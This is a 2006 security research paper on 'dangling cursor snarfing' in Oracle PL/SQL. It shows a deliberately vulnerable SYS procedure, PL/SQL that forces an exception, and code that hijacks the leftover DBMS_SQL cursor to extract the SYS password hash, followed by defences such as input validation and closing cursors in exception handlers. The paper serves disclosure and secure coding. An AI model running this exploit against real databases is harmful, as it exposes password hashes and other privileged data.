Dangling Cursor Snarfing:
A New Class of Attack in Oracle

David Litchfield [davidl@ngssoftware.com]
23rd November 2006

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

Introduction
In Oracle, a failure to close cursors created and used by DBMS_SQL or a failure to clean up open cursors in the event of an exception can lead to a security hole. If the cursor in question has been created by higher privileged code and left hanging then it's possible for a low privileged user to snarf and use the cursor outside of the application logic that created it. This can lead to data being exposed. Ensuring that cursors are closed after use is, of course, good programming practice but, as we know, good programming practices do not always prevail. What is detailed in this document should provide a security reason as to why developers should ensure that cursors are closed properly, especially in the event of an exception.

This type of vulnerability will also affect other kinds of handles, such as those returned from UTL_FILE and may affect other RDBMSes.

The Vulnerability
Consider the following procedure

```
CREATE OR REPLACE PROCEDURE PWD_COMPARE(P_USER VARCHAR) IS
      CURSOR_NAME INTEGER;
      V_PWD VARCHAR2(30);
      I INTEGER;
BEGIN
      IF P_USER != 'SYS' THEN
            CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;
            DBMS_OUTPUT.PUT_LINE('CURSOR: ' ||CURSOR_NAME);
            DBMS_SQL.PARSE(CURSOR_NAME, 'SELECT PASSWORD FROM
SYS.DBA_USERS WHERE USERNAME = :u', dbms_sql.native);
            DBMS_SQL.BIND_VARIABLE(CURSOR_NAME, ':u', P_USER);
            DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME, 1, V_PWD,30);
            I := DBMS_SQL.EXECUTE(CURSOR_NAME);
            IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0 THEN
                  DBMS_SQL.COLUMN_VALUE(CURSOR_NAME, 1, v_PWD);
            END IF;
            IF V_PWD = '0123456789ABCDEF' THEN
                  DBMS_OUTPUT.PUT_LINE('Hmmm....');
            END IF;
            DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
      END IF;
END;
/
```

This procedure selects the password hash for a given username, as long as that username is not SYS, and then compares the password hash with 0123456789ABCDEF. At no time is the password hash exposed to the user executing the procedure. This procedure is, of course, contrived and is pretty pointless other than to serve as a suitable demonstration of the class of flaw. To select the password the procedure uses DBMS_SQL. When you use DBMS_SQL to run a query you first open a cursor using the OPEN_CURSOR function. This cursor is just a number, essentially a pointer into a special area of memory where Oracle keeps track of items related to the cursor such as the query, query variables and permissions. Cursors returned from the OPEN_CURSOR function persist until explicitly

closed or until the SQL session is terminated. Returning to the PWD_COMPARE example, once the query has been processed the cursor should be closed using the CLOSE_CURSOR procedure. Note that, in the code above, there is no exception handling code so if there is an error before the cursor is closed then the cursor will be left "dangling". This opens up a security hole. Let's examine this further.

First off, create the above procedure as SYS and grant the execute privilege on it to PUBLIC:

```
CONNECT / AS SYSDBA
SET SERVEROUTPUT ON
CREATE OR REPLACE PROCEDURE PWD_COMPARE(P_USER VARCHAR) IS
      CURSOR_NAME INTEGER;
      V_PWD VARCHAR2(30);
      I INTEGER;
BEGIN
      IF P_USER != 'SYS' THEN
            CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;
            DBMS_OUTPUT.PUT_LINE('CURSOR: ' ||CURSOR_NAME);
            DBMS_SQL.PARSE(CURSOR_NAME, 'SELECT PASSWORD FROM
SYS.DBA_USERS WHERE USERNAME = :u', dbms_sql.native);
            DBMS_SQL.BIND_VARIABLE(CURSOR_NAME, ':u', P_USER);
            DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME, 1, V_PWD,30);
            I := DBMS_SQL.EXECUTE(CURSOR_NAME);
            IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0 THEN
                  DBMS_SQL.COLUMN_VALUE(CURSOR_NAME, 1, v_PWD);
            END IF;
            IF V_PWD = '0123456789ABCDEF' THEN
                  DBMS_OUTPUT.PUT_LINE('Hmmm....');
            END IF;
            DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
      END IF;
END;
/
GRANT EXECUTE ON PWD_COMPARE TO PUBLIC;
```

With the procedure created we'll now execute it as a low privileged user - but when we do so we'll cause an exception in it by passing it too long a string:

```
CONNECT SCOTT/TIGER
SET SERVEROUTPUT ON
DECLARE
      X VARCHAR(32000);
      I INTEGER;
BEGIN
      FOR I IN 1..10000 LOOP
            X:='B' || X;
      END LOOP;
      SYS.PWD_COMPARE(X);
END;
/
```

This results in the following unhandled exception:

```
CURSOR: 3
DECLARE
*
ERROR at line 1:
ORA-01460: unimplemented or unreasonable conversion requested
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1200
ORA-06512: at "SYS.DBMS_SQL", line 323
ORA-06512: at "SYS.PWD_COMPARE", line 12
ORA-06512: at line 8
```

The session now has a dangling cursor which can be snarfed by an attacker. Note from the output of PWD_COMPARE that the cursor has a value of 3 in this case. Incidentally, even without seeing it's 3 an attacker can still "guess" the value for the dangling cursor by going from 1 to *n* in a loop until they find it. When the attacker finds the dangling cursor, they can then recycle it – in other words they can rebind the username associated with the query and this time use SYS if they so choose. Once the attacker has done that, they can then re-execute the query and extract the data - in this case the password hash for the SYS user.

```
DECLARE
      CURSOR_NAME INTEGER;
      I INTEGER;
      PWD VARCHAR2(30);
BEGIN
      CURSOR_NAME :=3;
      DBMS_SQL.BIND_VARIABLE(CURSOR_NAME, ':u', 'SYS');
      DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME, 1, PWD,30);
      I := DBMS_SQL.EXECUTE(CURSOR_NAME);
      IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0 THEN
            DBMS_SQL.COLUMN_VALUE(CURSOR_NAME, 1, PWD);
      END IF;
      DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
      DBMS_OUTPUT.PUT_LINE('PWD: ' || PWD);
END;
/
```

This gives the following output 'PWD: D3AAEDA7EDA1B4AC' and thus the attacker has gained access to the SYS password hash. In short, to effect this attack, that is, to snarf a cursor, the attacker must firstly locate vulnerable code (i.e. a definer rights PL/SQL procedure or function that calls DBMS_SQL and doesn't close the cursor in the event of an exception), secondly force an exception, and third, find the orphaned cursor. Once the attacker has it, they can then start issuing new queries against it by changing the variable aspects such as bind variables.

The Impact

The impact of this class of flaw affects the confidentiality of data. An attacker can gain access to data they would not normally be able to access. There are limiting factors, however. An attacker is confined by the query that is parsed by the higher privileged code. Whilst it is possible to parse a new query on the cursor this is done so with the privileges of the attacker so it is not possible to change to query to say, "GRANT DBA TO PUBLIC". An attacker is limited to manipulating the variable aspects of the query

such as the bind variables. At first sight one may question the value of this but the attacker is no longer confined by the application logic of the vulnerable procedure as to what they can do with the cursor. In the PWD_COMPARE example given, an attacker never gets to see the password hash if the procedure runs normally and they can't supply the user 'SYS' as a parameter - the application logic doesn't allow it. By interrupting the execution by causing an exception, however, they can now play with the cursor and print the password to the screen and, furthermore, for the user SYS if they so choose which they couldn't do before.

The impact of class of flaw can also affect the integrity of data. In the case where the higher privileged code is using DBMS_SQL to perform an INSERT, UPDATE or DELETE but limits the user input to a specific format it may be possible for an attacker to bypass the logic. For example, consider a case where data being inserted must not contain single quote and so a check is made by the higher privileged code for the presence of a quote and exits if one is found. If processing can be interrupted as previously described by causing an exception, then an attacker can snarf and recycle the cursor to INSERT data that does contain a single quote. This affects the integrity of the data and could lead to issues such as 2nd order SQL injection.

Each instance of the vulnerability needs to be considered individually to assess the impact and risk it caries. Indeed, in many cases there may be no risk at all.

N.B. The same threat could be said to be posed by unclosed SYS_REFCURSORs. The DBMS_ODCI.RestoreRefCursor procedure can be used to restore dangling cursors but once retrieved it is not possible to modify any part of the associated query without the permissions of the current user being checked – remember – it is necessary to have the query run into an unhandled exception. Without being able to modify the query variables the same exception would hit on a fetch. One possible way around this would be for an attacker to cause an “invalid identifier” exception and then create the identifier (e.g. a function) after the cursor has been snarfed - but if an attacker can do this then they may as well place arbitrary SQL in the function to achieve their aims. At present, it appears that, with no suitable known attack vector, unclosed SYS_REFCURSORs do not provide a direct threat.

The Defence

In terms of defending against this class of problem there are two actions developers can take. Firstly perform strict input validation - using bind variables is not enough. In the PWD_COMPARE example we select the password for a given username. Usernames are a maximum of 30 characters long so we should check that the user input is 30 characters or less. This will stop us from generating an exception in the manner we do. Bear in mind that there are other ways to cause exceptions – these should be filtered as well.

The second form of defence is to always have an “others” exception block that closes any open cursors.

. .
. .

```
EXCEPTION WHEN OTHERS THEN
      IF DBMS_SQL.IS_OPEN(CURSOR_NAME) THEN
            DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
      END IF;
      ..
      ..
END;
```

Conclusion

The sky is not falling but in certain cases the class of attack may expose data to an attacker. When performing security code reviews of PL/SQL this should be checked for and fixed. Instances should be easy to spot – look for code that uses DBMS_SQL but contains no exception handling code or doesn't close the cursor in exception handling code if present or simply cases where the developer has forgotten to close the cursor period.